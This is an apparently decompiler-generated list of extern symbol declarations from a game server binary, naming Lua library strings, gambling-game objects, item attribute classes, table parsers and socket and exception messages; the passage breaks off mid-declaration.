weak extern char aCStackOverflow[]; // idb extern char aCannotResumeNo[]; // idb extern char aErrorIn__gcMet[]; // idb extern luaL_Reg loadedlibs[11]; extern int (__cdecl *openf)(lua_State *); // idb extern char aString[]; // idb extern char aTable[]; // idb extern char a_preload[]; // idb extern const int mode[3]; extern const char *const modenames[4]; extern const int mode_0[3]; extern const char *const modenames_0[4]; extern luaL_Reg iolib; extern luaL_Reg flib; extern char a__gc[]; // idb extern char aEnd_0[]; // idb extern char aCur[]; // idb extern char aFile_1[]; // idb extern char aClosedFile[]; // idb extern char tname[]; // idb extern char aFileP[]; // idb extern char aFileClosed[]; // idb extern char aAttemptToUseAC[]; // idb extern char a_io_output[]; // idb extern char aCannotOpenFile[]; // idb extern char aInvalidModeSSh[]; // idb extern char aRwa[]; // idb extern char aStandardSFileI[]; // idb extern char f[]; // idb extern char aLf[]; // idb extern char aInvalidFormat[]; // idb extern char aTooManyArgum_1[]; // idb extern char aFileIsAlreadyC[]; // idb extern char a_14g[]; // idb extern char aNotAnIntegerIn[]; // idb extern char a__index[]; // idb extern char aCannotCloseSta[]; // idb extern char aStderr[]; // idb extern char aStdout[]; // idb extern char aStdin_1[]; // idb extern char aTooManyOptions[]; // idb extern const char *const luaX_tokens[33]; extern char a___1[]; // idb extern char byte_6813D2; // weak extern char aLexicalElement[]; // idb extern char aS_7[]; // idb extern char aCharD[]; // idb extern char aC_4[]; // idb extern char aSNearS[]; // idb extern char aChunkHasTooMan[]; // idb extern char aMalformedNumbe[]; // idb extern char asc_681490[]; // idb extern char aPp[3]; // weak extern char set[]; // idb extern char aEe[3]; // weak extern char aUnfinishedLo_1[24]; // weak extern char aUnfinishedLong[]; // idb extern char aHexadecimalDig[]; // idb extern char aDecimalEscapeT[]; // idb extern char aInvalidEscapeS[]; // idb extern char aUnfinishedStri[]; // idb extern char aInvalidLongStr[]; // idb extern luaL_Reg mathlib; extern char aPow_0[4]; // weak extern char aModf[5]; // weak extern char aMin[]; // idb extern char aLog_0[4]; // weak extern char aFloor[6]; // weak extern char aExp[4]; // weak extern char aCeil[5]; // weak extern char aAtan[5]; // weak extern char aIntervalIsEmpt[]; // idb extern char aWrongNumberOfA[]; // idb extern char aHuge[]; // idb extern char aPi[]; // idb extern char aMemoryAllocati[]; // idb extern char aTooManySLimitI[]; // idb extern luaL_Reg pk_funcs; extern luaL_Reg ll_funcs; extern int (__cdecl *const searchers[5])(lua_State *); extern char aUnableToGetMod[]; // idb extern char asc_68180C[]; // idb extern char aSystemErrorD[]; // idb extern char a_clibs[]; // idb extern char aInit[5]; // weak extern char aNoFileS[]; // idb extern char aPackage_SMustB[]; // idb extern char aErrorLoadingMo[]; // idb extern char aPath_1[]; // idb extern char aLuaopen_S[]; // idb extern char r[]; // idb extern char aCpath[]; // idb extern char aNoModuleSInFil[]; // idb extern char aNoFieldPackage[]; // idb extern char aModuleSNotFoun[]; // idb extern char aPackage_search[]; // idb extern char aSearchers[]; // idb extern char aLua_noenv[]; // idb extern char byte_681950[4]; // idb extern char asc_681954[3]; // idb extern char asc_681958[]; // idb extern char aPreload[]; // idb extern char aLoaded[]; // idb extern char aConfig[]; // idb extern char asc_681974[]; // idb extern char aLua_cpath_5_2[]; // idb extern char envname2[]; // idb extern char a__dllLoadall_d[]; // idb extern char envname1[]; // idb extern char aLua__luaLua_In[]; // idb extern _UNKNOWN luaO_nilobject_; // weak extern const char log_2[256]; extern char aXx[3]; // idb extern char aNn[3]; // idb extern char aInvalidOptionC[]; // idb extern char asc_681B4C[]; // idb extern char aNull[7]; // weak extern char asc_681B58[2]; // weak extern char byte_681B5A; // weak extern char aStr[4]; // weak extern int dword_681B60; // weak extern char byte_681B64; // weak extern char luaP_opmodes[]; // weak extern const char *const options[2]; extern char (*off_681D74)[2]; // weak extern const int cat[6]; extern const char *const catnames[7]; extern luaL_Reg syslib; extern char aUnableToGenera[]; // idb extern char aFieldSMissingI[]; // idb extern char aInvalidConvers[]; // idb extern char aIsdst[]; // idb extern char aYday[]; // idb extern char aWday[]; // idb extern char aYear[]; // idb extern char aMonth[]; // idb extern char aDay[]; // idb extern char aT[3]; // weak extern char aC_5[]; // idb extern $346E9CE2A8D7888D5091AC1B7AE5459B priority[15]; extern char byte_681F49[]; // weak extern char aSExpected[]; // idb extern char aTooManySLimi_1[]; // idb extern char aFunctionAtLine[]; // idb extern char aSExpectedToClo[]; // idb extern char aLocalVariables[]; // idb extern char aUpvalues[]; // idb extern char aCLevels[]; // idb extern char aGotoSAtLineDJu[]; // idb extern char aLabelsGotos[]; // idb extern char aNoVisibleLabel[44]; // weak extern char aSAtLineDNotIns[]; // idb extern char aFunctions[]; // idb extern char aItemsInAConstr[]; // idb extern char aNameOr___Expec[]; // idb extern char aSelf[]; // idb extern char aFunctionArgume[]; // idb extern char aUnexpectedSymb[]; // idb extern char aCannotUse___Ou[]; // idb extern char aSyntaxError[]; // idb extern char aLabelSAlreadyD[]; // idb extern char aForStep[]; // idb extern char aForLimit[]; // idb extern char aForIndex[]; // idb extern char aForControl[]; // idb extern char aForState[]; // idb extern char aForGenerator[]; // idb extern char aOrInExpected[]; // idb extern char aNotEnoughMemor[]; // idb extern luaL_Reg strlib; extern char aByte[]; // idb extern char aResultingStrin[]; // idb extern char aStringSliceToo[]; // idb extern char aValueOutOfRang[]; // idb extern char aUnableToDumpGi[]; // idb extern char aInvalidCapture[]; // idb extern char aInvalidPattern[]; // idb extern char aMalformedPat_1[]; // idb extern char aMalformedPatte[]; // idb extern char aMalformedPat_2[]; // idb extern char aTooManyCapture[]; // idb extern char aMissingAfterFI[]; // idb extern char aUnfinishedCapt[]; // idb extern char aInvalidCaptu_1[]; // idb extern char a__[]; // idb extern char aInvalidUseOfCI[]; // idb extern char aInvalidReplace[]; // idb extern char aStringFunction[]; // idb extern char a03d[]; // idb extern char aD_0[4]; // weak extern char aInvalidFormatW[]; // idb extern char aInvalidFormatR[]; // idb extern char a0_1[]; // idb extern char aInvalidOptio_1[]; // idb extern char aNotANonNegativ[42]; // weak extern char lenmod[]; // idb extern char aNotANumberInPr[]; // idb extern char aNoValue[]; // idb extern Node dummynode_; extern char aInvalidKeyToNe[]; // idb extern char aTableOverflow[]; // idb extern char aTableIndexIsNi[]; // idb extern luaL_Reg tab_funcs; extern char aWrongNumberO_1[]; // idb extern char aInvalidValueSA[]; // idb extern char aTooManyResul_1[]; // idb extern char aInvalidOrderFu[]; // idb extern char *off_682728[11]; // weak extern const char *const luaT_eventname[17]; extern char aSSPrecompiledC[]; // idb extern char aTruncated[10]; // weak extern char aCorrupted[10]; // weak extern void *off_682870; // weak extern __int16 word_682874; // weak extern char aBinaryString[14]; // weak extern char aIndex[]; // idb extern char aLoopInGettable[]; // idb extern char aLoopInSettable[]; // idb extern char aStringLengthOv[]; // idb extern char aGetLengthOf[]; // idb extern char aForStepMustBeA[]; // idb extern char aForLimitMustBe[]; // idb extern char aForInitialValu[]; // idb extern char aMachine[]; // idb extern char aZoneD[]; // idb extern char aWorld[]; // idb extern char aPw[]; // idb extern char aWndghkdlsalsrh[]; // idb extern char aNation[]; // idb extern char aTitle_1[]; // idb extern char sParameterData[]; // idb extern char sParameter[]; // idb extern char aGr_php[]; // idb extern char aErrorD[]; // idb extern char asc_6829D4[]; // idb extern char aSS_1[]; // idb extern char aS_5[4]; // idb extern char aS_[]; // idb extern char aS_3[]; // idb extern int (*LuaScriptSecurity::_vftable_)(); // weak extern char aToke[4]; // weak extern int dword_6829F8; // weak extern int dword_6829FC; // weak extern char byte_682A00; // weak extern char aToke_0[4]; // weak extern __int16 word_682A08; // weak extern char aHttp_connect[]; // idb extern char aGet[]; // idb extern char aSend_nc_log__1[]; // idb extern char aSend_nc_log_ga[]; // idb extern int (__stdcall *CGambleObject::_vftable_[3])(int pEntPlayer); // weak extern char shn[]; // idb extern char aGbtaxrate_shn[]; // idb extern char aGbreward_shn[]; // idb extern char aGbeventcode_sh[]; // idb extern char asc_682BD8[]; // idb extern char aShineplayer_37[]; // idb extern char asc_682C60[]; // idb extern char asc_682CA8[]; // idb extern char asc_682CF4[]; // idb extern char asc_682D30[]; // idb extern char asc_682D7C[]; // idb extern char asc_682DB8[]; // idb extern char asc_682E18[89]; // weak extern char asc_682E78[]; // idb extern char asc_682EC8[]; // idb extern char asc_682F10[]; // idb extern char asc_682F68[]; // idb extern char aShineplayer_12[]; // idb extern char aShineplayer_54[]; // idb extern char aShineplayer_10[]; // idb extern char aShineplayer_30[]; // idb extern char asc_683088[]; // idb extern char asc_6830D0[]; // idb extern char asc_683108[]; // idb extern char asc_683158[]; // idb extern char asc_683198[]; // idb extern char asc_6831EC[]; // idb extern char asc_683228[]; // idb extern char asc_683270[]; // idb extern char asc_6832B0[]; // idb extern char asc_6832EC[]; // idb extern char asc_683330[]; // idb extern char asc_683388[]; // idb extern char asc_6833D0[]; // idb extern int (__stdcall *CGambleDiceTaiSaiObject::_vftable_[2])(int pEntPlayer); // weak extern char aCgambledice_50[]; // idb extern char aCgambledicetai[]; // idb extern char aCgambledice_21[]; // idb extern char aCgambledice_56[]; // idb extern char aCgambledice_55[]; // idb extern char aCgambledice_43[]; // idb extern char aCgambledice_51[]; // idb extern char aCgambledice_17[]; // idb extern char aCgambledice_54[]; // idb extern char aCgambledice_14[]; // idb extern char aCgambledice_57[]; // idb extern char aCgambledice_25[]; // idb extern char aCgambledice_34[]; // idb extern char aCgambledice_23[]; // idb extern char aCgambledicet_4[]; // idb extern char aCgambledice_44[]; // idb extern char aCgambledicet_3[]; // idb extern char aCgambledice_40[]; // idb extern char aCgambledice_33[]; // idb extern char aCgambledice_38[]; // idb extern char aCgambledice_48[]; // idb extern char aCgambledice_41[]; // idb extern char aCgambledice_58[]; // idb extern char aCgambledicet_5[]; // idb extern char aCgambledice_15[]; // idb extern char aCgambledice_10[]; // idb extern char aCgambledice_32[]; // idb extern char aCgambledice_59[]; // idb extern char aCgambledice_16[]; // idb extern char aCgambledicet_6[]; // idb extern char aCgambledice_24[]; // idb extern char aCgambledice_28[]; // idb extern char aCgambledice_19[]; // idb extern char aCgambledicet_1[]; // idb extern char aCgambledice_46[]; // idb extern char aCgambledicet_2[]; // idb extern char aCgambledice_11[]; // idb extern char aCgambledice_26[]; // idb extern char aCgambledice_39[]; // idb extern char aCgambledice_30[]; // idb extern char aCgambledice_20[]; // idb extern char aCgambledice_60[]; // idb extern char aCgambledice_31[]; // idb extern char aCgambledice_45[]; // idb extern char aCgambledice_27[]; // idb extern char aCgambledicet_0[]; // idb extern char aCgambledice_29[]; // idb extern char aCgambledice_12[]; // idb extern char aCgambledicet_9[]; // idb extern char aCgambledice_52[]; // idb extern char aCgambledicet_7[]; // idb extern char aCgambledice_53[]; // idb extern char asc_684330[]; // idb extern char asc_684388[]; // idb extern char asc_6843D0[]; // idb extern char asc_684430[]; // idb extern char asc_684478[]; // idb extern char asc_6844D0[]; // idb extern char asc_684518[]; // idb extern char asc_684570[]; // idb extern char asc_6845B8[]; // idb extern char asc_684610[]; // idb extern char asc_684658[]; // idb extern char asc_6846A8[]; // idb extern char asc_6846F0[]; // idb extern char asc_68473C[]; // idb extern int (__thiscall *SlotMachine::SlotMachineScreen::_vftable_)(CGambleObject *this, #593 *pEntPlayer); // weak extern int (__thiscall *SlotMachine::SlotMachineCluster::_vftable_[3])(CGambleObject *this, #593 *pEntPlayer); // weak extern char asc_684968[]; // idb extern char asc_6849C0[]; // idb extern char asc_684A08[]; // idb extern char asc_684A60[]; // idb extern char asc_684AC0[]; // idb extern char asc_684B08[]; // idb extern char asc_684B60[]; // idb extern char asc_684BA8[]; // idb extern char asc_684C08[]; // idb extern char asc_684CA8[]; // idb extern char asc_684CF0[]; // idb extern char asc_684D50[]; // idb extern char aSlotmachine_14[]; // idb extern char aSlotmachine_21[]; // idb extern char aSlotmachineSlo[]; // idb extern char aSlotmachine_32[]; // idb extern char aSlotmachine_20[]; // idb extern char aSlotmachineS_3[]; // idb extern char aSlotmachine_10[]; // idb extern char aSlotmachine_12[]; // idb extern char aSlotmachineS_8[]; // idb extern char asc_684F60[]; // idb extern char asc_684F98[]; // idb extern char asc_684FC0[]; // idb extern char asc_68500C[]; // idb extern char aSlotmachineS_2[]; // idb extern char aCgambledice_36[]; // idb extern char aSlotmachine_29[]; // idb extern char aSlotmachine_42[]; // idb extern char aSlotmachine_13[]; // idb extern char aSlotmachine_34[]; // idb extern char aSlotmachine_11[]; // idb extern char aSlotmachine_18[]; // idb extern char aSlotmachine_39[]; // idb extern char aSlotmachine_38[]; // idb extern char aSlotmachine_31[]; // idb extern char aSlotmachine_35[]; // idb extern char aSlotmachine_17[]; // idb extern char aSlotmachine_23[]; // idb extern char aSlotmachine_24[]; // idb extern char aSlotmachine_40[]; // idb extern char aSlotmachineS_1[]; // idb extern char aSlotmachineS_9[]; // idb extern char aSlotmachine_25[]; // idb extern char aSlotmachineS_7[]; // idb extern char aSlotmachine_27[]; // idb extern char aSlotmachineS_5[]; // idb extern char aSlotmachine_16[]; // idb extern char aGbsmbetcoin_sh[]; // idb extern char aSlotmachine_37[]; // idb extern char a__9dataHeroG_8[]; // idb extern char a__9dataHeroG_2[]; // idb extern char dataHeroG::a[]; // idb extern char a__9dataHeroG_4[]; // idb extern char a__9dataHeroG_6[]; // idb extern char a__9dataHeroG_5[]; // idb extern char a__9dataHeroG_9[]; // idb extern char a__9dataHeroG_7[]; // idb extern char aSlotmachine_22[]; // idb extern char aSlotmachine_36[]; // idb extern char aSlotmachine_41[]; // idb extern char aSlotmachineS_0[]; // idb extern char aSlotmachine_30[]; // idb extern char aSlotmachine_28[]; // idb extern char aSlotmachine_19[]; // idb extern char aSlotmachineS_4[]; // idb extern char aSlotmachine_33[]; // idb extern char asc_685954[]; // idb extern char aSlotmachineS_6[]; // idb extern char aSlotmachine_15[]; // idb extern char aAiscriptcont_1[]; // idb extern char aAiscriptcontai[]; // idb extern char a__9dataHeroLua[]; // idb extern char aAssertS02d_txt[]; // idb extern char aSAssertclassAc[]; // idb extern char aSAssertclass_2[]; // idb extern char aSAssertclass_0[]; // idb extern char aSAssertclass_3[]; // idb extern char aExitlogS02d_tx[]; // idb extern int (__thiscall *Raid::_vftable_)(void *p, char); // weak extern char aRaidAddmemberI[]; // idb extern char aMapidclient[]; // idb extern char aItemattributec[]; // idb extern int (__stdcall *ItemAttributeClass::_vftable_[3])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_ByteLot::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_WordLot::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_DwrdLot::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_QuestLot::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Amulet::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Weapon::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Armor::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Shield::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Boot::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Furniture::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Decoration::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_SkillScroll::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_RecallScroll::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_BindItem::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_UpSource::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_ItemChest::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_WeaponTitlaLicence::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_KingdomQuestItem::_vftable_[3])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_MiniHouseSkin::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_UpgradeRedGem::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_UpgradeBlueGem::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_UpgradeGoldGem::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_KQStep::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Feed::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Riding::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Amount::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_CostumWeapon::_vftable_[3])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_ActionItem::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Enchant::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_GBCoin::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Capsule::_vftable_[2])(int itm, int buffer); // weak extern char aN1[4]; // weak extern char aItemdataboxI_0[]; // idb extern char aItemdataboxI_2[]; // idb extern int (__thiscall *ItemBelongAttribute::_vftable_)(void *p, char); // weak extern char aQ_wood[]; // idb extern char aMiniwedding01_[]; // idb extern char aWeddingcoupon[]; // idb extern char aInvitationcard[]; // idb extern char aProposering[]; // idb extern char a__9dataHeroWea[]; // idb extern char aClaude[]; // idb extern char aEnchantsocketa[]; // idb extern char aEnchantsocketr[]; // idb extern char aIn_moneycard00[]; // idb extern char aRoar01[]; // idb extern char aFreestatusre_2[]; // idb extern char aGuildtendency[]; // idb extern char aGuildname[]; // idb extern char aKaris[]; // idb extern char aKq_soulcrystal[]; // idb extern char aWingstone01_1[]; // idb extern char aGoddesswing[]; // idb extern char aProdreload01[]; // idb extern char aRoar[]; // idb extern char aSpmpotion3[]; // idb extern char aSpmpotion0[]; // idb extern char aSpmpotion2[]; // idb extern char aSpmpotion1[]; // idb extern char aHpmpotion3[]; // idb extern char aHpmpotion0[]; // idb extern char aHpmpotion2[]; // idb extern char aHpmpotion1[]; // idb extern char aHouse_mushroom[]; // idb extern char aLicenseclear[]; // idb extern char aSkillreloadb_1[]; // idb extern char aFreestatusre_1[]; // idb extern char aSkillreloadbun[]; // idb extern char aFreestatusrelo[]; // idb extern char aPresentbox[]; // idb extern char aSilverwings[]; // idb extern char aItemdataboxI_6[]; // idb extern char aItemdataboxI_3[]; // idb extern char aItemdataboxI_1[]; // idb extern char aItemdataboxI_5[]; // idb extern char aDuplicateItemH[]; // idb extern char aItemdataboxI_9[]; // idb extern char aItemdataboxI_8[]; // idb extern char aItemdataboxI_7[]; // idb extern char aDiff[]; // idb extern char aItemdataboxIdb[]; // idb extern char a__9dataHeroI_3[]; // idb extern char a__9dataHeroI_4[]; // idb extern char a__9dataHeroGra[]; // idb extern char a__9dataHeroI_2[]; // idb extern char a__9dataHeroI_0[]; // idb extern char a__9dataHeroBel[]; // idb extern int (*ItemBag::_vftable_[4])(); // weak extern int (__stdcall *ItemInventory::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemEquipment::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemQuestItemBox::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemAccountStorage::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemMiniHouseBox::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemGuildStorage::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemGuildAcademyRewardStorage::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemFurnicherBox::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemRewardStorage::_vftable_[2])(int slot); // weak extern char aItemrewardstor[]; // idb extern int (*ItemBoxIterItemRegNo::_vftable_[4])(); // weak extern int (*ItemSmallBag::_vftable_[3])(); // weak extern char aItembagIb_init[]; // idb extern char aSD_0[]; // idb extern char aSD_2[]; // idb extern char aStorageerror_t[]; // idb extern char aCharacterinven[]; // idb extern char aCharacterinv_3[]; // idb extern char aCharacterinv_0[]; // idb extern char aCharacterinv_1[]; // idb extern char aItembagIb_clea[]; // idb extern int (__stdcall *ItemActionItemBox::_vftable_[2])(int slot); // weak extern char aMobdataboxRe_2[]; // idb extern char aMobdataboxRe_1[]; // idb extern char aMemoryLeakForI[]; // idb extern char aDataDuplicateI[]; // idb extern char aMobdataboxMd_0[]; // idb extern char aMobdataboxMd_9[]; // idb extern char aConflict[]; // idb extern char aDDD_2[]; // idb extern char aMobdataboxMd_1[]; // idb extern char a__9dataHero_25[]; // idb extern char a__9dataHeroM_3[]; // idb extern char a__9dataHero_47[]; // idb extern char a__9dataHero_42[]; // idb extern char a__9dataHeroQue[]; // idb extern char a__9dataHero_45[]; // idb extern char a__9dataHeroM_6[]; // idb extern char a__9dataHero_44[]; // idb extern char a__9dataHero_35[]; // idb extern char aMobdataboxMd_4[]; // idb extern char aMobdataboxMd_6[]; // idb extern char aMobdataboxMd_3[]; // idb extern char aMobdataboxMd_2[]; // idb extern char aMobdataboxMd_8[]; // idb extern char aMobdataboxMd_7[]; // idb extern char aMobdataboxMdb_[]; // idb extern char a__9dataHeroM_4[]; // idb extern char aMobresisttab_1[]; // idb extern char aMobresisttable[]; // idb extern char aClootingGeti_1[]; // idb extern char aClootingGetite[]; // idb extern char err[]; // idb extern char aUndefinedColum[22]; // weak extern char aAtLeastOneColu[27]; // weak extern char aColumnnameWith[]; // idb extern char aColumnheaderWi[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aTooManyTables[]; // idb extern char aUndefinedComma[]; // idb extern char aFileNotFound[]; // idb extern char aUndefinedError[]; // idb extern char aWord[]; // idb extern char aDwrd[]; // idb extern char aDword[]; // idb extern char aComment[]; // idb extern char aBrace[]; // idb extern char aIgnore[]; // idb extern char aDelimiter[]; // idb extern char aExchange[]; // idb extern char aColumntype[]; // idb extern char aColumnname[]; // idb extern char aRecord[]; // idb extern char aRecordin[]; // idb extern int (__stdcall *ORColumnHeader::_vftable_)(int token, int targ); // weak extern char aCannotAllocFie[]; // idb extern int (__stdcall *ORColumnHeaderIndex::_vftable_)(int token, int targ); // weak extern int (__stdcall *ORColumnHeaderString::_vftable_)(int token, char result); // weak extern char aBraceMustBeClo[]; // idb extern char aStringLengthMu[]; // idb extern char aErrorInStringL[]; // idb extern char aStringNeedLeng[]; // idb extern int (__stdcall *ORColumnHeaderByte::_vftable_)(int token, int targ); // weak extern int (__stdcall *ORColumnHeaderWord::_vftable_)(int token, int targ); // weak extern int (__stdcall *ORColumnHeaderDwrd::_vftable_)(int token, int targ); // weak extern int (__stdcall *MakePrimaryKeyColumn::_vftable_[4])(int ele, __int16 handle); // weak extern int (__stdcall *MakePrimaryKey::_vftable_[3])(int ele, __int16 handle); // weak extern int (__stdcall *OrderArgument::_vftable_[2])(int ele, __int16 handle); // weak extern int (__stdcall *ColumnNameArgument::_vftable_)(int ele, __int16 handle); // weak extern char aColumnTypeName[]; // idb extern int (__stdcall *DataRecordArgument::_vftable_[5])(int ele, __int16 handle); // weak extern int (__stdcall *ColumnCheckArgument::_vftable_[4])(int ele, __int16 handle); // weak extern int (__stdcall *TargetColumnFindArgument::_vftable_[3])(int ele, __int16 handle); // weak extern int (__stdcall *RecordDataCompareArgument::_vftable_[2])(int ele, __int16 handle); // weak extern int (__stdcall *TableNameCompareArgument::_vftable_)(int ele, __int16 handle); // weak extern char aRecordAllocErr[]; // idb extern char aTooManyRecords[]; // idb extern char aUnknownTableNa[19]; // weak extern char aRecordinHasNoT[]; // idb extern char aRecordWithoutT[]; // idb extern char aShinescriptS_0[]; // idb extern char aScrindex[]; // idb extern char aShinescriptS_2[]; // idb extern char aShinescriptSs_[]; // idb extern char dataHeroS::a[]; // idb extern char a__9dataHero_14[]; // idb extern char aKqscriptmanage[]; // idb extern char aTooManyKqScrip[]; // idb extern char aInvalidScrip_1[]; // idb extern char aInvalidScriptN[]; // idb extern char aKqscriptmana_1[]; // idb extern char aDialogfile[]; // idb extern char aNoerr[6]; // weak extern char aExtraDataExist[17]; // weak extern char aInvalidCharact[18]; // weak extern char aCommentExpecte[19]; // weak extern char aTooManyDelimit[20]; // weak extern char aTooManyExchang[18]; // weak extern char aExceptionFaile[]; // idb extern char asc_6881F0[76]; // weak extern char aCall_0[4]; // weak extern int dword_688240; // weak extern int dword_688244; // weak extern __int16 word_688248; // weak extern _UNKNOWN unk_688250; // weak extern char aExceptionFai_2[]; // idb extern char aExceptionFai_1[]; // idb extern char aExceptionSaved[]; // idb extern char a_mdm[4]; // weak extern __int16 word_6882F4; // weak extern char aMinidumpwrited[]; // idb extern char aDbgh[]; // idb extern int dword_688354; // weak extern void *off_688358; // weak extern char aItemoptionsd_7[]; // idb extern char aItemoptionsd_6[]; // idb extern char aItemoptionsd_3[]; // idb extern char aItemoptionsd_0[]; // idb extern char a__9dataHeroShi[]; // idb extern char aItemoptionsd_2[]; // idb extern char aItemoptionsd_8[]; // idb extern char aItemoptionsd_1[]; // idb extern char aItemoptionsd_9[]; // idb extern char aItemoptionsd_5[]; // idb extern char aItemoptionsdat[]; // idb extern char a__9dataHeroI_9[]; // idb extern char aErrorcodeD_1[]; // idb extern char aErrorcodeD[15]; // weak extern char aSS_4[]; // idb extern char a04d02d02d_1[]; // idb extern char aSS_5[]; // idb extern char aTtHhmmss[]; // idb extern char a_DebugmessageS[]; // idb extern char a06dSS[]; // idb extern int (__thiscall *std::codecvt::_vftable_)(void *p, char); // weak extern int (__thiscall *std::basic_filebuf>::_vftable_)(void *p, char); // weak extern char aC_11[]; // idb extern char aC_8[]; // weak extern char aComspec[]; // idb extern char strFunct[]; // idb extern char strstrParams[]; // idb extern char aDARshaSQF[]; // idb extern char aEARshaSQF[]; // idb extern char aFARshaSQF[]; // idb extern char aCsocket_iocpRe[]; // idb extern char aErrorCsocket_2[]; // idb extern char aCsocket_iocp_0[]; // idb extern char aSendIobufferFu[]; // idb extern char aCsocket_iocp_3[]; // idb extern char aCsocket_iocpWr[]; // idb extern char aCsocket_iocp_1[]; // idb extern char aMissmatchWrite[]; // idb extern char aM_pfirstbufNul[]; // idb extern char aWarningCsock_1[]; // idb extern char aWarningCsocket[]; // idb extern int (__cdecl *CPacket::_vftable_[2])(int __formal); // weak extern char aIocpWorkthre_1[]; // idb extern char aIocpWorkthread[]; // idb extern char asc_688ACC[2]; // weak extern char byte_688ACE; // weak extern char asc_688AD0[2]; // weak extern char byte_688AD2; // weak extern char asc_688AD4[4]; // weak extern __int16 word_688AD8; // weak extern char aFormatDefinnin[]; // idb extern char aSFormatDefinin[]; // idb extern char aDataDefinningE[]; // idb extern char asc_688B40[]; // idb extern char aTotalDataDDefi[]; // idb extern char aTotalFormatDDe[]; // idb extern char aIncludeDataDDe[]; // idb extern char aIncludeFormatD[]; // idb extern char aSWriteDataErro[]; // idb extern char aSWriteDataOk[19]; // weak extern char aSWriteFormatEr[]; // idb extern char aSWriteFormatOk[21]; // weak extern char aSWriteOk[14]; // weak extern char aSWriteError[17]; // weak extern char aSReadError[]; // idb extern char aSReadOk[]; // idb extern char aIncludeOpenErr[]; // idb extern char aFileOpenErrorC[33]; // weak extern char aSUnknowned_[]; // idb extern char aIncludeS[]; // idb extern char asc_688CE0[]; // idb extern char aFileProcessing[]; // idb extern char pszMsg[]; // idb extern char aFailedListen_1[]; // idb extern char aErrorListenSoc[]; // idb extern int (__cdecl *WinService::_vftable_)(int __formal); // weak extern int (__thiscall *String::_vftable_)(void *p, char); // weak extern char aMapdataboxMdb_[]; // idb extern char aMobdataboxRead[]; // idb extern char a__9dataHeroMap[]; // idb extern int (*ORField::_vftable_[5])(); // weak extern int (__stdcall *ORFieldIndex::_vftable_)(int contentstring, int contentindex); // weak extern char aCannotReadInde[]; // idb extern int (__stdcall *ORFieldString::_vftable_)(int contentstring, int contentindex); // weak extern int (__stdcall *ORFieldByte::_vftable_)(char *contentstring, int num); // weak extern char aCannotReadByte[]; // idb extern int (__stdcall *ORFieldWord::_vftable_)(char *contentstring, int num); // weak extern char aCannotReadWord[]; // idb extern int (__stdcall *ORFieldDwrd::_vftable_)(char *contentstring, int num); // weak extern char aCannotReadDwrd[]; // idb extern char aCannotReadStri[]; // idb extern char aMicrosoftCExce[24]; // weak extern char aException_stac[25]; // weak extern char aException_priv[27]; // weak extern char aException_in_0[23]; // weak extern char aException_int_[29]; // weak extern char aException_fl_2[24]; // weak extern char aException_fl_0[26]; // weak extern char aException_fl_6[23]; // weak extern char aException_fl_1[32]; // weak extern char aException_fl_4[29]; // weak extern char aException_fl_3[29]; // weak extern char aException_flt_[31]; // weak extern char aException_in_2[25]; // weak extern char aException_inva[30]; // weak extern char aException_nonc[35]; // weak extern char aException_ille[30]; // weak extern char aException_arra[32]; // weak extern char aException_in_p[24]; // weak extern char aException_sing[22]; // weak extern char aException_acce[27]; // weak extern char aException_brea[21]; // weak extern char aException_guar[21]; // weak extern char aException_data[32]; // weak extern char aSLine04d[]; // idb extern char aSLine04d04dByt[]; // idb extern char aS_6[]; // idb extern char aS04dByteS[]; // idb extern char asc_6893D0[]; // idb extern char a0x08x0x08x0x08[]; // idb extern char a04x08x[]; // idb extern _UNKNOWN unk_689400; // weak extern char aAt04x08x[]; // idb extern char aUnknown[]; // idb extern char aInModule[]; // idb extern char asc_68943C[]; // idb extern char aNtdll_dll[]; // idb extern char asc_68944C[]; // idb extern char aCausedAn[]; // idb extern char 